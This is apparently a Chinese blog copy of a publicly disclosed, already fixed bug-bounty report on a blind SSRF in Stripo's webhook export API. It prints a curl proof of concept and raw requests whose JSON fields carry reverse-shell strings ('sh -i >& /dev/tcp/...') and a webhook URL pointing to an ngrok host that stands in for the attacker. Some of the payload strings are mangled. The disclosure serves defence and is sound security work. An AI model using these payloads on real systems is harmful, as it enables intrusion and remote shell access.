Stripo邮箱编辑器Webhook导出功能中的盲SSRF漏洞技术分析

本文详细披露了在Stripo邮箱编辑器的邮件导出服务中发现的一个关键盲SSRF漏洞。攻击者可通过向特定API端点注入恶意webhookUrl参数,诱使服务器向内部或攻击者控制的系统发起未授权的HTTP请求,可能导致数据泄露和内部网络探测。

漏洞概述

本报告介绍在Stripo导出服务中发现的一个关键**盲服务器端请求伪造(Blind SSRF)**漏洞。SSRF漏洞允许攻击者操控服务器向内部或外部系统发起任意请求,可能导致严重的安全破坏。该漏洞存在于端点 /exportservice/v3/exports/WEBHOOK/accounts。通过在webhookUrl参数中提供恶意输入,攻击者可以触发SSRF,使服务器向攻击者控制的系统发起未授权的HTTP请求。

利用细节

概念验证(PoC)

以下curl命令演示了漏洞利用过程:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
curl -i -X POST 'https://my.stripo.email/bapi/exportservice/v3/exports/WEBHOOK/accounts/52027412' \
--data '{
  "id": 52027412,
  "name": "sh -i & devtcp192.168.100.3 0&1",
  "oAuthRequired": false,
  "authLink": null,
  "draft": false,
  "destination": "WEBHOOK",
  "properties": {
    "headers": [
      {
        "name": "sh -i >& /dev/tcp/192.168.100.3/9001 0>&1",
        "value": "sh -i >& /dev/tcp/192.168.100.3/9001 0>&1"
      }
    ],
    "accountName": "sh -i & devtcpbe7e-101-255-157-9.ngrok-free.app9001 0&1",
    "webhookUrl": "https://cd7c-101-255-157-9.ngrok-free.app/sh -i & devtcpbe7e-101-255-157-9.ngrok-free.app9001 0&1",
    "webhookType": "CUSTOM"
  },
  "public": false
}'

生成的HTTP请求

处理时,应用程序会向指定的webhookUrl生成以下HTTP请求:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
POST /webhook/sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.100.3%2F9001%200%3E%261/ HTTP/1.1
Host: 5290-101-255-157-9.ngrok-free.app
User-Agent: Apache-HttpClient/4.5.14 (Java/21.0.5)
Content-Length: 104
Accept: application/json
Accept-Encoding: gzip,deflate
Traceparent: 00-58ae5f178436f516dfed5bcabe66e0a4-6f1c4d73cae918b9-00
X-Forwarded-For: 54.247.167.106
X-Forwarded-Host: 5290-101-255-157-9.ngrok-free.app
X-Forwarded-Proto: https

通过Burp Suite发起的HTTP请求

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /bapi/exportservice/v3/exports/WEBHOOK/accounts/52027412 HTTP/1.1
Host: my.stripo.email
Content-Type: application/json
Content-Length: 457

{
  "id": 52027412,
  "name": "sh -i & devtcp192.168.100.3 0&1",
  "oAuthRequired": false,
  "authLink": null,
  "draft": false,
  "destination": "WEBHOOK",
  "properties": {
    "headers": [
      {
        "name": "sh -i >& /dev/tcp/192.168.100.3/9001 0>&1",
        "value": "sh -i >& /dev/tcp/192.168.100.3/9001 0>&1"
      }
    ],
    "accountName": "sh -i & devtcpbe7e-101-255-157-9.ngrok-free.app9001 0&1",
    "webhookUrl": "https://cd7c-101-255-157-9.ngrok-free.app/sh -i & devtcpbe7e-101-255-157-9.ngrok-free.app9001 0&1",
    "webhookType": "CUSTOM"
  },
  "public": false
}

有效载荷:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
{
 "id": 52027412,
 "name": "sh -i & devtcp192.168.100.3 0&1",
 "oAuthRequired": false,
 "authLink": null,
 "draft": false,
 "destination": "WEBHOOK",
 "properties": {
 "headers": [
 {
 "name": "sh -i >& /dev/tcp/192.168.100.3/9001 0>&1",
 "value": "sh -i >& /dev/tcp/192.168.100.3/9001 0>&1"
 }
 ],
 "accountName": "sh -i & devtcpbe7e-101-255-157-9.ngrok-free.app9001 0&1",
 "webhookUrl": "https://cd7c-101-255-157-9.ngrok-free.app/sh -i & devtcpbe7e-101-255-157-9.ngrok-free.app9001 0&1",
 "webhookType": "CUSTOM"
 },
 "public": false
}

附件

  • StripoPOC.mkv (F3939737)

影响

  • 数据外泄:攻击者可利用SSRF访问敏感的内部网络数据,如云元数据、内部API端点或其他受限服务。
  • 端口扫描:通过盲SSRF进行内部端口扫描。
  • 内部资源访问:盲SSRF允许访问内部服务或端点,绕过网络限制。
  • 链式攻击:可能导致高级利用,例如检索敏感元数据或执行远程命令。

时间线与状态更新

  • 2025年1月13日,00:09 UTC:odaysec向Stripo Inc提交报告。
  • 2025年1月21日,10:56 UTC:Stripo Inc员工nikandrov_nikolai将状态更改为已分类(Triaged),并表示已创建任务让团队尽快解决。
  • 2025年4月23日,07:10 UTC:odaysec评论称,复查端点 /bapi/exportservice/v3/exports/webhook/accounts/{uid} 后发现问题已修复,请求将报告标记为已解决。
  • 2025年4月23日,09:36 UTC:nikandrov_nikolai关闭报告并将状态更改为已解决(Resolved)
  • 2025年4月23日,10:05 UTC:odaysec请求公开此报告。
  • 约2小时前:nikandrov_nikolai同意公开报告,随后报告被公开。

报告详情

  • 报告ID:#2932960
  • 状态:已解决
  • 严重性:严重(9 ~ 10)
  • 弱点:服务器端请求伪造(SSRF)
  • CVE ID:无
  • 赏金:隐藏
  • 公开日期:2025年12月1日,08:22 UTC
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计